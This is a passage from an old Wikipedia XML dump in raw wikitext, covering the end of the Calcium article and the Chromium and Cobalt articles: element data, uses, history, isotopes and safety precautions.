*Calcium citrate is more easily absorbed, easier to digest and less likely to cause constipation and gas than calcium carbonate. It also has a lower risk of contributing to the formation of kidney stones. Calcium citrate is 21% elemental calcium. 1000 mg will provide 210 mg of calcium. It is more expensive than calcium carbonate and more of it must be taken to get the same amount of calcium.

*Calcium phosphate costs more than calcium carbonate, but less than calcium citrate. It is easily absorbed and is less likely to cause constipation and gas than either.

*Calcium lactate and calcium aspartate are both more easily digested, but more expensive than calcium carbonate.
 
==See also==
*[[Disorders of calcium metabolism]]

==References==
*Rebecca J. Donatelle. Health, The Basics. 6th ed. San Francisco: Pearson Education, Inc. 2005.

==External links==
{{Commons|Calcium}}
*[http://www.webelements.com/webelements/elements/text/Ca/index.html WebElements.com &amp;ndash; Calcium]
*[http://www.nal.usda.gov/fnic/foodcomp/Data/SR17/wtrank/sr17a301.pdf USDA National Nutrient Database, Calcium content of selected foods]

[[Category:Chemical elements]]
[[Category:Alkaline earth metals]]
[[Category:Dietary supplements]]

[[af:Kalsium]]
[[ar:كالسيوم]]
[[bg:Калций]]
[[ca:Calci]]
[[cs:Vápník]]
[[da:Calcium]]
[[de:Kalzium]]
[[et:Kaltsium]]
[[es:Calcio]]
[[eo:Kalcio]]
[[fr:Calcium]]
[[gl:Calcio (elemento)]]
[[ko:칼슘]]
[[hr:Kalcij]]
[[io:Kalcio]]
[[id:Kalsium]]
[[is:Kalsín]]
[[it:Calcio (metallo)]]
[[he:סידן]]
[[ku:Kalsiyûm]]
[[lv:Kalcijs]]
[[lt:Kalcis]]
[[jbo:bogjinme]]
[[hu:Kalcium]]
[[mi:Konupūmā]]
[[nl:Calcium]]
[[ja:カルシウム]]
[[no:Kalsium]]
[[nn:Kalsium]]
[[oc:Calci]]
[[pl:Wapń]]
[[pt:Cálcio]]
[[ru:Кальций]]
[[simple:Calcium]]
[[sl:Kalcij]]
[[sr:Калцијум]]
[[su:Kalsium]]
[[fi:Kalsium]]
[[sv:Kalcium]]
[[ta:கால்சியம்]]
[[th:แคลเซียม]]
[[vi:Canxi]]
[[tr:Kalsiyum]]
[[uk:Кальцій]]
[[zh:钙]]</text>
    </revision>
  </page>
  <page>
    <title>Chromium</title>
    <id>5669</id>
    <revision>
      <id>41880816</id>
      <timestamp>2006-03-02T09:12:53Z</timestamp>
      <contributor>
        <username>Chiu frederick</username>
        <id>59129</id>
      </contributor>
      <minor />
      <comment>K2Cr2O7 washing glass apparatus - minor edit</comment>
      <text xml:space="preserve">{{Elementbox_header | number=24 | symbol=Cr | name=chromium | left=[[vanadium]] | right=[[manganese]] | above=- | below=[[molybdenum|Mo]] | color1=#ffc0c0 | color2=black }}
{{Elementbox_series | [[transition metal]]s }}
{{Elementbox_groupperiodblock | group=6 | period=4 | block=d }}
{{Elementbox_appearance_img | Cr,24| silvery metallic }}
{{Elementbox_atomicmass_gpm | [[1 E-26 kg|51.9961]][[List of elements by atomic mass|(6)]] }}
{{Elementbox_econfig | &amp;#91;[[argon|Ar]]&amp;#93; 3d&lt;sup&gt;5&lt;/sup&gt; 4s&lt;sup&gt;1&lt;/sup&gt; }}
{{Elementbox_epershell | 2, 8, 13, 1 }}
{{Elementbox_section_physicalprop | color1=#ffc0c0 | color2=black }}
{{Elementbox_phase | [[solid]] }}
{{Elementbox_density_gpcm3nrt | 7.15 }}
{{Elementbox_densityliq_gpcm3mp | 6.3 }}
{{Elementbox_meltingpoint | k=2180 | c=1907 | f=3465 }}
{{Elementbox_boilingpoint | k=2944 | c=2671 | f=4840 }}
{{Elementbox_heatfusion_kjpmol | 21.0 }}
{{Elementbox_heatvaporiz_kjpmol | 339.5 }}
{{Elementbox_heatcapacity_jpmolkat25 | 23.35 }}
{{Elementbox_vaporpressure_katpa | 1656 | 1807 | 1991 | 2223 | 2530 | 2942 | comment= }}
{{Elementbox_section_atomicprop | color1=#ffc0c0 | color2=black }}
{{Elementbox_crystalstruct | cubic body centered }}
{{Elementbox_oxistates | 6, '''3''', 2&lt;br /&gt;(strongly [[acid]]ic oxide) }}
{{Elementbox_electroneg_pauling | 1.66 }}
{{Elementbox_ionizationenergies4 | 652.9 | 1590.6 | 2987 }}
{{Elementbox_atomicradius_pm | [[1 E-10 m|140]] }}
{{Elementbox_atomicradiuscalc_pm | [[1 E-10 m|166]] }}
{{Elementbox_covalentradius_pm | [[1 E-10 m|127]] }}
{{Elementbox_section_miscellaneous | color1=#ffc0c0 | color2=black }}
{{Elementbox_magnetic | [[antiferromagnetism|AFM]] (rather: [[spin density wave|SDW]]) }}
{{Elementbox_eresist_ohmmat20 | 125 n}}
{{Elementbox_thermalcond_wpmkat300k | 93.9 }}
{{Elementbox_thermalexpansion_umpmkat25 | 4.9 }}
{{Elementbox_speedofsound_rodmpsat20 | 5940 }}
{{Elementbox_youngsmodulus_gpa | 279 }}
{{Elementbox_shearmodulus_gpa | 115 }}
{{Elementbox_bulkmodulus_gpa | 160 }}
{{Elementbox_poissonratio | 0.21 }}
{{Elementbox_mohshardness | 8.5 }}
{{Elementbox_vickershardness_mpa | 1060 }}
{{Elementbox_brinellhardness_mpa | 1120 }}
{{Elementbox_cas_number | 7440-47-3 }}
{{Elementbox_isotopes_begin | isotopesof=chromium | color1=#ffc0c0 | color2=black }}
{{Elementbox_isotopes_decay | mn=50 | sym=Cr | na=[[synthetic radioisotope|syn]] | hl=&gt; 1.8&amp;times;10&lt;sup&gt;17&lt;/sup&gt;[[y]] | dm=[[Double electron capture|&amp;epsilon;&amp;epsilon;]] | de=-| pn=50 | ps=[[titanium|Ti]] }}
{{Elementbox_isotopes_decay2 | mn=51 | sym=Cr | na=[[synthetic radioisotope|syn]] | hl=[[1 E6 s|27.7025 d]] | dm1=[[electron capture|&amp;epsilon;]] | de1=- | pn1=51 | ps1=[[vanadium|V]] |
dm2=[[gamma ray|&amp;gamma;]] | de2=0.320 | pn2= | ps2=- }}
{{Elementbox_isotopes_stable | mn=52 | sym=Cr | na=83.789% | n=28 }}
{{Elementbox_isotopes_stable | mn=53 | sym=Cr | na=9.501% | n=29 }}
{{Elementbox_isotopes_stable | mn=54 | sym=Cr | na=2.365% | n=30 }}
{{Elementbox_isotopes_end}}
{{Elementbox_footer | color1=#ffc0c0 | color2=black }}

'''Chromium''' is a [[chemical element]] in the [[periodic table]] that has the symbol '''Cr''' and [[atomic number]] 24.

== Notable characteristics ==

Chromium is a steel-gray, lustrous, hard [[metal]] that takes a high polish, and melts with difficulty. 

The most common [[oxidation state]]s of chromium are +2, +3, and +6, with +3 being the most stable. +4 and +5 are rare. Chromium compounds of oxidation state 6 are powerful oxidants.

Chromium(0) is unstable in oxygen, immediately producing a thin oxide layer that is impermeable to oxygen and protects the metal below.

== Applications ==

Uses of chromium:
* In [[metallurgy]], to impart corrosion resistance and a shiny finish:
** as an [[alloy]] constituent, such as in [[stainless steel]] in [[cutlery]]
** in [[chrome plating]],
** in [[anodising|anodized]] [[aluminium]], literally turning the surface of aluminium into ruby.
* As dyes and [[paint]]s.
** [[Chromium(III) oxide]] is a metal polish known as [[Rouge|green rouge]].
** Chromium salts color glass an [[emerald]] green.
** Chromium is what makes a ruby red, and therefore is used in producing synthetic rubies.
* As a [[catalyst]].
* [[Chromite]] is used to make molds for the firing of [[brick]]s.
* Chromium salts are used in the [[tanning]] of [[leather]].
* Potassium dichromate is a chemical [[reagent]], used in cleaning [[laboratory glassware]] and as a titrating agent. It is also used as a mordant (i.e., a fixing agent) for dyes in fabric.
* Chromium(IV) oxide (CrO&lt;sub&gt;2&lt;/sub&gt;) is used to manufacture [[magnetic tape]], where its higher [[coercivity]] than [[Iron|iron]] oxide tapes gives better performance.
* In well drilling muds as an anti-corrosive.

== History ==

In 1761, Johann Gottlob Lehmann found an orange-red mineral in the [[Ural Mountains]] which he named ''Siberian red lead''. Though misidentified as a [[lead]] compound with [[selenium]] and [[iron]] components, the material was in fact ''lead chromate'' with a formula of PbCrO&lt;sub&gt;4&lt;/sub&gt;, now known as the mineral [[crocoite]].

In 1770, [[Peter Simon Pallas]] visited the same site as Lehmann and found a red &quot;lead&quot; mineral that had very useful properties as a [[pigment]] in [[paint]]s. The use of Siberian red lead as a paint pigment developed rapidly. A bright [[yellow]] made from crocoite became a  color in [[fashion]].

In 1797, [[Nicolas-Louis Vauquelin]] received samples of crocoite [[ore]]. He was able to produce [[chromium oxide]] with a chemical formula of CrO&lt;sub&gt;3&lt;/sub&gt;, by mixing crocoite with [[hydrochloric acid]]. In 1798, Vauquelin discovered that he could isolate metallic chromium by heating the oxide in a charcoal oven. He was also able to detect traces of chromium in precious [[gemstone]]s, such as [[ruby]], or [[emerald]].

During the 1800s chromium was primarily used as a component of paints but now the primary use in  is for metal alloys and is responsible for 85% of the use of chromium. The remainder is used in the [[chemical industry]] and [[refractory]] and [[foundry]] industries.

Chromium was named after the Greek word &quot;chroma&quot; meaning [[color]], because of the many colorful compounds made from it.

== Biological role ==

Lack of chromium can cause [[chromium deficiency]].

== Occurrence ==

Chromium is mined as [[chromite]] (FeCr&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;4&lt;/sub&gt;) ore.  Chromium is obtained commercially by heating the [[ore]] in the presence of [[aluminium]] or silicon. Roughly half the chromite ore in the world is produced in [[South Africa]].  [[Kazakhstan]], [[India]] and [[Turkey]] are also substantial producers. Untapped chromite deposits are plentiful, but geographically concentrated in Kazakhstan and southern Africa.

Approximately 15 million tons of marketable chromite ore were produced in 2000, and converted into approximately 4 million tons of ferro-chrome with an approximate market value of 2.5 billion [[United States dollar]]s.

Though native chromium deposits are rare, some native chromium metal has been discovered. The Udachnaya Mine in [[Russia]] produces samples of the native metal. This mine is a [[kimberlite]] pipe rich in diamonds, and the reducing environment so provided helped produce both elemental chromium and diamond.

== Compounds ==

[[Potassium dichromate]] is a powerful oxidizing agent and is the preferred compound for cleaning laboratory glassware of any possible organics. It is used as a saturated solution in concentrated sulphuric acid for washing the apparatus. For this purpose, however, sodium dichromate is sometimes used because of its higher solubility (20g and 5g/100ml).
Chrome green is the green oxide of chromium, Cr&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;3&lt;/sub&gt;, used in [[enamel paint]]ing, and glass staining.
Chrome yellow is a brilliant yellow pigment, PbCrO&lt;sub&gt;4&lt;/sub&gt;, used by painters.

[[chromic acid|Chromic acid]] has the hypothetical structure H&lt;sub&gt;2&lt;/sub&gt;CrO&lt;sub&gt;4&lt;/sub&gt;. Neither chromic nor dichromic acid is found in nature, but their anions are found in a variety of compounds. Chromium trioxide, CrO&lt;sub&gt;3&lt;/sub&gt;, the acid [[anhydride]] of chromic acid, is sold industrially as &quot;chromic acid&quot;.

== Isotopes ==

Naturally occurring chromium is composed of 3 stable [[isotope]]s; &lt;sup&gt;52&lt;/sup&gt;Cr, &lt;sup&gt;53&lt;/sup&gt;Cr, and &lt;sup&gt;54&lt;/sup&gt;Cr with &lt;sup&gt;52&lt;/sup&gt;Cr being the most abundant (83.789% [[natural abundance]]). 19 [[radioisotope]]s have been characterized with the most stable being &lt;sup&gt;50&lt;/sup&gt;Cr with a [[half-life]] of (more than) 1.8x10&lt;sup&gt;17&lt;/sup&gt; years, and &lt;sup&gt;51&lt;/sup&gt;Cr with a half-life of 27.7 days.  All of the remaining [[radioactive]] isotopes have half-lifes that are less than 24 hours and the majority of these have half lifes that are less than 1 minute. This element also has 2 [[meta state]]s.

&lt;sup&gt;53&lt;/sup&gt;Cr is the [[radiogenic]] decay product of &lt;sup&gt;53&lt;/sup&gt;[[manganese|Mn]]. Chromium [[isotope|isotopic]] contents are typically combined with [[manganese]] isotopic contents and have found application in [[isotope geology]]. [[manganese|Mn]]-Cr isotope ratios reinforce the evidence from &lt;sup&gt;26&lt;/sup&gt;[[Aluminium|Al]] and &lt;sup&gt;107&lt;/sup&gt;[[Palladium|Pd]] for the early history of the [[solar system]]. Variations in &lt;sup&gt;53&lt;/sup&gt;Cr/&lt;sup&gt;52&lt;/sup&gt;Cr and Mn/Cr ratios from several meteorites indicate an initial &lt;sup&gt;53&lt;/sup&gt;Mn/&lt;sup&gt;55&lt;/sup&gt;Mn ratio that suggests Mn-Cr isotope systematics must result from in-situ decay of &lt;sup&gt;53&lt;/sup&gt;Mn in differentiated planetary bodies. Hence &lt;sup&gt;53&lt;/sup&gt;Cr provides additional evidence for [[nucleosynthesis|nucleosynthetic]] processes immediately before coalescence of the solar system.

The isotopes of chromium range in [[atomic weight]] from 43 [[atomic mass unit|amu]] (&lt;sup&gt;43&lt;/sup&gt;Cr) to 67 amu (&lt;sup&gt;67&lt;/sup&gt;Cr). The primary [[decay mode]] before the most abundant stable isotope, &lt;sup&gt;52&lt;/sup&gt;Cr, is [[electron capture]] and the primary mode after is [[beta decay]].

== Chromium and the quintuple bond ==

Chromium is notable for its ability to form quintuple [[covalent bond]]s.  Writing in ''[[Science (journal)|Science]]'', [[Tailuan Nguyen]] and coworkers of the [[University of California]] describe how they synthesized a compound, which does not appear to have a common name, of chromium and a [[hydrocarbon]] [[radical]]; [[X-ray diffraction]] showed unambiguously that the compound had a quintuple bond joining the two central chromium atoms.

The compound had the [[Lewis structure]]
:&lt;math&gt;
\rm Ar-Cr-Cr-Ar
&lt;/math&gt;

where &lt;math&gt;\rm Ar&lt;/math&gt; is the [[aryl]] group &lt;math&gt;\rm C_6H_3\mbox{-}2,6(C_6H_3\mbox{-}2,6\mbox{-}Pr^i_2)_2&lt;/math&gt; (&lt;math&gt;\rm Pr^i&lt;/math&gt; is [[isopropyl]]). 

&lt;ref&gt;Tailuan Nguyen,  Andrew D. Sutton,  Marcin Brynda,  James C. Fettinger,  Gary J. Long,  Philip P. Power, ([[4 November]], [[2005]]). &quot;Synthesis of a Stable Compound with Fivefold Bonding Between Two Chromium(I) Centers&quot;, ''Science'', Volume 310, Issue 5749, pp. 796-797. &lt;/ref&gt;

== Precautions ==

Chromium metal and chromium(III) compounds are not usually considered health hazards, but [[hexavalent chromium]] (chromium VI) compounds can be [[toxic]] if orally ingested or inhaled. The lethal dose of poisonous chromium (VI) compounds is about one half teaspoon of material. Most chromium (VI) compounds are irritating to eyes, skin and mucous membranes. Chronic exposure to chromium (VI) compounds can cause permanent eye injury, unless properly treated. Chromium(VI) is an established human [[carcinogen]].  Exposure to the poisonous chemical hexavalent chromium in drinking water formed the plot of the motion picture [[Erin Brockovich (film)|Erin Brockovich]].

[[World Health Organization]] recommended [[maximum allowable concentration]] in drinking water for chromium (VI) is 0.05 [[milligram]]s per [[liter]]. 

As chromium compounds were used in [[dye]]s and [[paint]]s and the [[tanning]] of [[leather]], these compounds are often found in soil and [[groundwater]] at abandoned industrial site, now needing [[environmental cleanup]] and [[remediation]] per the treatment of [[brownfield land]]. [[Primer (paint)|Primer paint]] containing hexavalent chromium is still widely used for [[aerospace]] and [[automobile]] refinishing applications.

== References ==

===Notes===

&lt;references/&gt;

===General references===
* [http://periodic.lanl.gov/elements/24.html Los Alamos National Laboratory - Chromium]

== External links ==
{{Commons|Chromium}}
* [http://www.atsdr.cdc.gov/HEC/CSEM/chromium/ Case Studies in Environmental Medicine: Chromium Toxicity]
* [http://www-cie.iarc.fr/htdocs/monographs/vol49/chromium.html IARC Monograph &quot;Chromium and Chromium compounds&quot;]
* [http://www.chromium-asoc.com/ International Chromium Development Association]
* [http://education.jlab.org/itselemental/ele024.html It's Elemental &amp;ndash; The Element Chromium]
* [http://www.npi.gov.au/database/substance-info/profiles/24.html National Pollutant Inventory - Chromium (III) compounds fact sheet]
* [http://www.merck.com/pubs/mmanual/section1/chapter4/4f.htm The Merck Manual &amp;ndash; Mineral Deficiency and Toxicity]
* [http://www.webelements.com/webelements/elements/text/Cr/index.html WebElements.com &amp;ndash; Chromium]

[[Category:Chemical elements]]
[[Category:Transition metals]]

[[af:Chroom]]
[[ca:Crom]]
[[cs:Chróm]]
[[da:Krom]]
[[de:Chrom]]
[[et:Kroom]]
[[es:Cromo]]
[[eo:Kromo]]
[[fa:کروم]]
[[fr:Chrome]]
[[ko:크로뮴]]
[[io:Kromio]]
[[is:Króm]]
[[it:Cromo]]
[[he:כרום]]
[[ku:Krom]]
[[lv:Hroms]]
[[lt:Chromas]]
[[hu:Króm]]
[[mi:Konukita]]
[[nl:Chroom]]
[[ja:クロム]]
[[no:Krom]]
[[nn:Krom]]
[[oc:Cròm]]
[[pl:Chrom]]
[[pt:Cromo]]
[[ru:Хром]]
[[sk:Chróm]]
[[sl:Krom]]
[[sr:Хром]]
[[fi:Kromi]]
[[sv:Krom]]
[[th:โครเมียม]]
[[uk:Хром]]
[[zh:铬]]</text>
    </revision>
  </page>
  <page>
    <title>Cobalt</title>
    <id>5670</id>
    <revision>
      <id>41884533</id>
      <timestamp>2006-03-02T10:07:48Z</timestamp>
      <contributor>
        <username>Chiu frederick</username>
        <id>59129</id>
      </contributor>
      <minor />
      <comment>compounds</comment>
      <text xml:space="preserve">{{otheruses}}
{{Elementbox_header | number=27 | symbol=Co | name=cobalt | left=[[iron]] | right=[[nickel]] | above=- | below=[[rhodium|Rh]] | color1=#ffc0c0 | color2=black }}
{{Elementbox_series | [[transition metal]]s }}
{{Elementbox_groupperiodblock | group=9 | period=4 | block=d }}
{{Elementbox_appearance_img | Co,27| metallic with gray tinge }}
{{Elementbox_atomicmass_gpm | [[1 E-26 kg|58.933195]][[List of elements by atomic mass|(5)]] }}
{{Elementbox_econfig | &amp;#91;[[argon|Ar]]&amp;#93; 3d&lt;sup&gt;7&lt;/sup&gt; 4s&lt;sup&gt;2&lt;/sup&gt; }}
{{Elementbox_epershell | 2, 8, 15, 2 }}
{{Elementbox_section_physicalprop | color1=#ffc0c0 | color2=black }}
{{Elementbox_density_gpcm3nrt | 8.90 }}
{{Elementbox_densityliq_gpcm3mp | 7.75 }}
{{Elementbox_meltingpoint | k=1768 | c=1495 | f=2723 }}
{{Elementbox_boilingpoint | k=3200 | c=2927 | f=5301 }}
{{Elementbox_heatfusion_kjpmol | 16.06 }}
{{Elementbox_heatvaporiz_kjpmol | 377 }}
{{Elementbox_heatcapacity_jpmolkat25 | 24.81 }}
{{Elementbox_vaporpressure_katpa | 1790 | 1960 | 2165 | 2423 | 2755 | 3198 | comment= }}
{{Elementbox_section_atomicprop | color1=#ffc0c0 | color2=black }}
{{Elementbox_crystalstruct | hexagonal }}
{{Elementbox_oxistates | '''2''', 3&lt;br /&gt;([[amphoteric]] oxide) }}
{{Elementbox_electroneg_pauling | 1.88 }}
{{Elementbox_ionizationenergies4 | 760.4 | 1648 | 3232 }}
{{Elementbox_atomicradius_pm | [[1 E-10 m|135]] }}
{{Elementbox_atomicradiuscalc_pm | [[1 E-10 m|152]] }}
{{Elementbox_covalentradius_pm | [[1 E-10 m|126]] }}
{{Elementbox_section_miscellaneous | color1=#ffc0c0 | color2=black }}
{{Elementbox_eresist_ohmmat20 | 62.4 n}}
{{Elementbox_thermalcond_wpmkat300k | 100 }}
{{Elementbox_thermalexpansion_umpmkat25 | 13.0 }}
{{Elementbox_speedofsound_rodmpsat20 | 4720 }}
{{Elementbox_youngsmodulus_gpa | 209 }}
{{Elementbox_shearmodulus_gpa | 75 }}
{{Elementbox_bulkmodulus_gpa | 180 }}
{{Elementbox_poissonratio | 0.31 }}
{{Elementbox_mohshardness | 5.0 }}
{{Elementbox_vickershardness_mpa | 1043 }}
{{Elementbox_brinellhardness_mpa | 700 }}
{{Elementbox_cas_number | 7440-48-4 }}
{{Elementbox_isotopes_begin | isotopesof=cobalt | color1=#ffc0c0 | color2=black }}
{{Elementbox_isotopes_decay | mn=56 | sym=Co | na=[[synthetic radioisotope|syn]] | hl=[[1 E6 s|77.27 d]] | dm=[[electron capture|&amp;epsilon;]] | de=4.566 | pn=56 | ps=[[iron|Fe]] }}
{{Elementbox_isotopes_decay | mn=57 | sym=Co | na=[[synthetic radioisotope|syn]] | hl=[[1 E7 s|271.79 d]] | dm=&amp;epsilon; | de=0.836 | pn=57 | ps=[[iron|Fe]] }}
{{Elementbox_isotopes_decay | mn=58 | sym=Co | na=[[synthetic radioisotope|syn]] | hl=70.86 [[day|d]] | dm=&amp;epsilon; | de=2.307 | pn=58 | ps=[[iron|Fe]] }}
{{Elementbox_isotopes_stable | mn=59 | sym=Co | na=100% | n=32 }}
{{Elementbox_isotopes_decay | mn=60 | sym=Co | na=[[synthetic radioisotope|syn]] | hl=[[1 E8 s|5.2714 years]] | dm=[[beta emission|&amp;beta;&lt;sup&gt;-&lt;/sup&gt;]] | de=2.824 | pn=60 | ps=[[nickel|Ni]] }}
{{Elementbox_isotopes_end}}
{{Elementbox_footer | color1=#ffc0c0 | color2=black }}
'''Cobalt''' is a [[chemical element]] in the [[periodic table]] that has the symbol '''Co''' and [[atomic number]] 27.

== Notable characteristics ==
Cobalt is a hard [[ferromagnetic]] silver-white element. The [[Curie temperature]] is of 1388 K with 1.6~1.7 [[Bohr magneton]]s per [[atom]]. It is frequently associated with [[nickel]], and both are characteristic ingredients of [[meteoric iron]]. [[Mammals]] require small amounts of cobalt [[salt]]s. [[Cobalt-60 (isotope)|Cobalt-60]], an artificially produced [[radioactive isotope]] of cobalt, is an important radioactive tracer and [[cancer]]-treatment agent. Cobalt has a [[Permeability (electromagnetism)|relative permeability]] two thirds that of iron.
[[Metallic]] cobalt commonly presents a mixture of two [[crystallographic structure]]s [[hcp]] and [[Face-centered cubic|fcc]] with a [[transition]] temperature hcp&amp;rarr;fcc of 722 K. 

Common [[oxidation states]] of cobalt include +2, and +3, though +1 is also seen.

== Applications ==
* [[Alloy]]s, such as:
** [[Superalloy]]s, for parts in gas [[turbine]] [[aircraft]] [[engine]]s.   
** [[Corrosion]]- and wear-resistant alloys.
** High-speed [[steel]]s.
** Cemented [[carbide]]s (also called hard metals) and [[diamond]] tools.
* [[Magnet]]s and magnetic [[recording media]].
** [[Alnico]] magnets.
* [[Catalyst]]s for the [[petroleum]] and chemical industries.
* [[electroplating]] because of its appearance, hardness, and resistance to oxidation. 
* Drying agents for [[paint]]s, varnishes, and inks.
* Ground coats for [[porcelain]] [[vitreous enamel|enamel]]s.
* Pigments (cobalt blue and cobalt green).
* [[Battery (electricity)|Battery]] electrodes.
* Steel-belted radial [[tire]]s.
* [[Cobalt-60 (isotope)|Cobalt-60]] has multiple uses as a [[gamma ray]] source:
** It is used in [[Radiation therapy|radiotherapy]].
** It is used in radiation treatment of [[Food irradiation|foods for sterilization]] (cold [[pasteurization]]).
** It is used in industrial [[radiography]] to detect structural flaws in metal parts.

Co-60 is useful as a gamma ray source partially because it can be produced - in known quantity, and very large amounts - by simply exposing natural cobalt to [[neutron]]s in a reactor for a given time.  

=== Use in medicine ===
[[Cobalt-60 (isotope)|Cobalt-60 (Co-60 or &lt;sup&gt;60&lt;/sup&gt;Co)]] is a [[radioactive]] metal that is used in [[Radiation therapy|radiotherapy]]. It produces two gamma rays with energies of 1.17 [[MeV]] and 1.33 MeV. The &lt;sup&gt;60&lt;/sup&gt;Co source is about 2 [[centimetre|cm]] in diameter and as a result produces a [[geometric]] [[penumbra]], making the edge of the radiation field fuzzy. The metal has the unfortunate habit of producing a fine dust, causing problems with radiation protection. The &lt;sup&gt;60&lt;/sup&gt;Co source is useful for about 5 years but even after this point is still very radioactive, and so cobalt machines have fallen from favor in the Western world where [[linacs]] are common. The first &lt;sup&gt;60&lt;/sup&gt;Co therapy machine (the &quot;''cobalt bomb''&quot;) was built and first used in [[Canada]]. In fact the first machine is on display in the [[Saskatoon, Saskatchewan|Saskatoon]] Cancer Centre &amp;ndash; look up when entering the lobby. The second machine is out beside the walkway into the Centre.

== History ==
{{wiktionarypar|cobalt}}
Cobalt was known in ancient times through its compounds, which would color [[glass]] a rich blue.

[[George Brandt]] (1694-1768) is credited with the discovery of cobalt. The date of discovery varies depending on the source, but is between [[1730]] and [[1737]]. He was able to show that cobalt was the source of the blue color in glasses, which previously had been attributed to the [[bismuth]] found with cobalt.

During the [[19th century]], cobalt blue was produced at the Norwegian [[Blaafarveværket]] (70-80 % of world production), led by the [[Prussia]]n industrialist [[Benjamin Wegner]].

In 1938, [[John Livingood]] and [[Glenn Seaborg]] discovered [[Cobalt-60 (isotope)|cobalt-60]].

The word cobalt comes from the German ''kobalt'' or ''[[kobold]]'', meaning evil spirit, the metal being so called by miners, because it was poisonous and troublesome (it [[pollution|polluted]] and degraded the other mined elements, like [[nickel]]). Other sources cite the origin as stemming from silver miners' belief that cobalt had been placed by kobolds who had stolen the silver. Some also think the name may derive from [[Greek language|Greek]] ''kobalos'', which means 'mine', and which may have common roots with kobold, goblin, and cobalt.

== Biological role ==
[[image:bristol.blue.glass.arp.750pix.jpg|thumb|left|250px|Cobalt blue glass]]
Cobalt in small amounts is essential to many living [[organism]]s, including [[humans]]. Having 0.13 to 0.30 mg/kg of cobalt in soils markedly improves the health of [[grazing]] animals. Cobalt is a central component of the [[vitamin]] [[cobalamin]], or [[vitamin B-12]].

== Occurrence ==
[[Image:Cobalt OreUSGOV.jpg|thumb|Cobalt ore]]
Cobalt is not found as a [[free metal]] and is generally found in the form of [[ore]]s. Cobalt is usually not mined alone, and tends to be produced as a [[by-product]] of [[nickel]] and [[copper]] mining activities. The main ores of cobalt are [[cobaltite]], [[erythrite]], [[glaucodot]], and [[skutterudite]]. The world's major producers of cobalt are the [[Democratic Republic of the Congo]], [[China|mainland China]], [[Zambia]], [[Russia]] and [[Australia]].  It is also found in [[Finland]], [[Azerbaijan]], and [[Kazakhstan]]. It is also produced in the town of [[Cobalt, Ontario|Cobalt, Ontario]] as a byproduct of the [[silver]] mining.
; see also [[:Category:Cobalt minerals]]

== Compounds ==
Due to the various [[oxidation state]]s, there is an abundant number of compounds. Oxides are [[antiferromagnetic]] at low [[temperature]] CoO ([[Neel temperature]]: 291 K) and Co&lt;sub&gt;3&lt;/sub&gt;O&lt;sub&gt;4&lt;/sub&gt; (Neel temperature: 40 K). Cobalt(II) compounds are red-pink in solution. However, the colour changes to blue when the solution is heated to boiling. Adding excess chloride will also change the colour from pink to blue, due to the formation of a [[complex ion]], CoCl&lt;sub&gt;4&lt;sub&gt;&lt;sup&gt;2-&lt;sup&gt;.
; see also [[:Category:Cobalt compounds]]

== Isotopes ==
Naturally occurring cobalt is composed of 1 stable [[isotope]], 59-Co (&lt;sup&gt;59&lt;/sup&gt;Co). 22 [[radioisotope]]s have been characterized with the most stable being &lt;sup&gt;60&lt;/sup&gt;Co with a [[half-life]] of 5.2714 years, 57-Co (&lt;sup&gt;57&lt;/sup&gt;Co) with a half-life of 271.79 days, and 56-Co (&lt;sup&gt;56&lt;/sup&gt;Co) with a half-life of 77.27 days, and 58-Co (&lt;sup&gt;58&lt;/sup&gt;Co) with a half life of 70.86 days.  All of the remaining [[radioactive]] isotopes have half-lifes that are less than 18 hours and the majority of these have half lives that are less than 1 second. This element also has 4 [[meta state]]s, all of which have half lives less than 15 minutes. 

The isotopes of cobalt range in [[atomic weight]] from 50 [[atomic mass unit|amu]] (&lt;sup&gt;50&lt;/sup&gt;Co) to 73 amu (&lt;sup&gt;73&lt;/sup&gt;Co). The primary [[decay mode]] before the most abundant stable isotope, &lt;sup&gt;59&lt;/sup&gt;Co, is [[electron capture]] and the primary mode after is [[beta decay]]. The primary [[decay product]]s before &lt;sup&gt;59&lt;/sup&gt;Co are element 26 ([[iron]]) isotopes and the primary products after are element 28 ([[nickel]]) isotopes.

== Precautions ==
Powdered cobalt in metal form is a fire hazard. Cobalt compounds should be handled with care due to cobalt's slight toxicity.

[[Cobalt-60 (isotope)|Cobalt-60]] is a powerful gamma ray emitter and exposure to &lt;sup&gt;60&lt;/sup&gt;Co is therefore a cancer risk. Ingestion of &lt;sup&gt;60&lt;/sup&gt;Co will lead to incorporation of some cobalt into tissues, which is released very slowly. Cobalt-60 is a risk factor in a nuclear confrontation because neutron emissions will convert Cobalt-59 into this isotope. Some [[nuclear weapon design]]s could intentionally increase the amount of Cobalt-60 dispersed as [[nuclear fallout]] &amp;ndash; this is sometimes called a [[dirty bomb]] or [[cobalt bomb]], once predicted by a leading scientist as being capable of wiping out all life on earth. The risk in the absence of a [[nuclear war]] comes from improper handling (or theft) of medical radiotherapeutic units.  Nevertheless, the gamma radiation emitted from cobalt-60 is used to kill bacteria on fruit and vegetables thus increasing their shelf life.  This process is referred to as [[food irradiation|irradiation]].

==References==
*[http://periodic.lanl.gov/elements/27.html Los Alamos National Laboratory - Cobalt]
*[http://www.chevrolet.com/cobalt/ Cobalt] is the name of a current line of cars from [[Chevrolet]].

Cobalt was also the name of [[Sun Microsystems]]' mainly rack-mounted, [[Intel]] and [[Linux]] based, server appliance line. Previously known as Cobalt Systems, this Internet appliance company was acquired by Sun in 2000. In the third quarter of 2003 Sun discountinued their Cobalt line in favor of the [[AMD]] based [[Sun Fire]] line.

== External links ==
{{Commons|Cobalt}}
* [http://www.npi.gov.au/database/substance-info/profiles/26.html National Pollutant Inventory - Cobalt fact sheet]
* [http://www.webelements.com/webelements/elements/text/Co/key.html WebElements.com &amp;ndash; Cobalt]
* [http://www.caro-acro.ca/caro/educ/publ/vig/vignettes/cobalt/Interactions.pdf London celebrates 50 years of Cobalt-60 Radiotherapy ]

==See also==

* [[Benjamin Wegner]]

[[Category:Chemical elements]]
[[Category:Transition metals]]

[[af:Kobalt]]
[[ca:Cobalt]]
[[cs:Kobalt]]
[[da:Kobolt]]
[[de:Kobalt]]
[[et:Koobalt]]
[[el:Κοβάλτιο]]
[[es:Cobalto]]
[[eo:Kobalto]]
[[fr:Cobalt]]
[[ko:코발트]]
[[io:Kobalto]]
[[id:Kobal]]
[[is:Kóbolt]]
[[it:Cobalto]]
[[he:קובלט]]
[[ku:Kobalt]]
[[lv:Kobalts]]
[[hu:Kobalt]]
[[nl:Kobalt]]
[[ja:コバルト]]
[[no:Kobolt]]
